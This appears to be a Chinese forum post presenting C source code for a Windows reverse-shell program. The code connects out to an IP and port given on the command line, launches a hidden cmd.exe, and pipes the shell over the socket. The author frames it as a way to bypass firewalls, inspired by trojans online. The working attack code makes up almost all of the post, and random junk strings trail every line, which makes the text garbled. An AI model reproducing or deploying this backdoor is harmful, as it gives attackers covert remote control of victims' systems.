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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JEk'2Htx  
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/* ============================== op\$(7<d-  
Rebound port in Windows NT qY$ [2]  
By wind,2006/7 NYr)=&)Ke.  
===============================*/ *FktI\tS  
#include EK5$z>k>m  
#include yQ$]`hr;  
uorX;yekC  
#pragma comment(lib,"wsock32.lib") %S"85#R5E  
tRpY+s~Fq  
void OutputShell(); k qL.ZR  
SOCKET sClient; 4g"%?xN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x(cv}#}S8  
i%JJ+9N  
void main(int argc,char **argv) Ix6\5}.c9  
{ cFt&Efj  
WSADATA stWsaData; hPUAm6 b;  
int nRet; ^Fh*9[Zf$  
SOCKADDR_IN stSaiClient,stSaiServer; FuBt`H  
v7SYWO#  
if(argc != 3) 1*yxSU@uY  
{ e6>G8d  
printf("Useage:\n\rRebound DestIP DestPort\n"); e`S\-t?Z  
return; v2E<~/|  
} -iS^VzI|I  
tj'~RQvO  
WSAStartup(MAKEWORD(2,2),&stWsaData); \yu7,v  
1C8xJ6F  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n."n?C'{  
bY2R/FNL=  
stSaiClient.sin_family = AF_INET; 3i7EF.  
stSaiClient.sin_port = htons(0); w;gk=<_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tc0;Ake-&  
q~b# ml2QS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ":8\2Qp  
{ ]c~yMA+]FZ  
printf("Bind Socket Failed!\n"); Uffwzd!  
return; #|ts1lD#ah  
} ",.f   
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stSaiServer.sin_family = AF_INET; "qNFDr(WM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K<wFr-z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |~e"i<G#  
4hy -M>!D|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;_vhKU)%J#  
{ 9e=}P L  
printf("Connect Error!"); P*A+k"DU1  
return; Zs />_w}  
} 3fhY+$tq  
OutputShell(); fwv^dEe  
} aL4^ po  
rP3tFvOH  
void OutputShell() &U7v=a  
{ 88~Nrl=co  
char szBuff[1024]; ;ND$4$  
SECURITY_ATTRIBUTES stSecurityAttributes; X7huc*  
OSVERSIONINFO stOsversionInfo; $C;i}q#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b^Z2Vf:k]  
STARTUPINFO stStartupInfo; G;}WZy  
char *szShell; hHN[K  
PROCESS_INFORMATION stProcessInformation; m2\\!C]f  
unsigned long lBytesRead; 'RV96lX<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ohk\P;}  
LDc EjFK(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NgDhdOB  
stSecurityAttributes.lpSecurityDescriptor = 0; /"8e,  
stSecurityAttributes.bInheritHandle = TRUE; |@iM(MM[?  
OUi;f_*[r  
~ tA ^K  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FC] *^B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %-blx)Pc  
N:)x67,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y2x|6{ #  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gu*y7I8  
stStartupInfo.wShowWindow = SW_HIDE; z3uR1vF'  
stStartupInfo.hStdInput = hReadPipe; {6v.(Zlh$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TQT3]h6  
bO\++zOF  
GetVersionEx(&stOsversionInfo); ICN>kJ\;M  
q*UHzE:LI  
switch(stOsversionInfo.dwPlatformId) bW6| &P}X  
{ ~i"=:D  
case 1: F<,pAxl~@  
szShell = "command.com"; 3p=Xv%xd  
break; E:x@O8F  
default: g:M;S"U3*Y  
szShell = "cmd.exe"; K<e #y!  
break; yMz#e0k  
} R%WY!I8C  
fWmc$r5n](  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,2fi`9=\  
]ZcivnN#  
send(sClient,szMsg,77,0); +Ww] %`_  
while(1) MW 7~=T  
{ * @4@eQF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9fEe={ B+  
if(lBytesRead) 'Gn>~m  
{ T]De{nHu  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SA +d4P_T  
send(sClient,szBuff,lBytesRead,0); +c))fPuV  
} e"t0 rScA  
else $Q/@5f'T`9  
{ /aI@2]|~  
lBytesRead=recv(sClient,szBuff,1024,0); yjjq&Cn  
if(lBytesRead<=0) break; .7.lr[$g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  `Eh>E,  
} teJt.VA7)  
} 7\6g>4J^`  
[A7TSN  
return; l;iU9<~  
}
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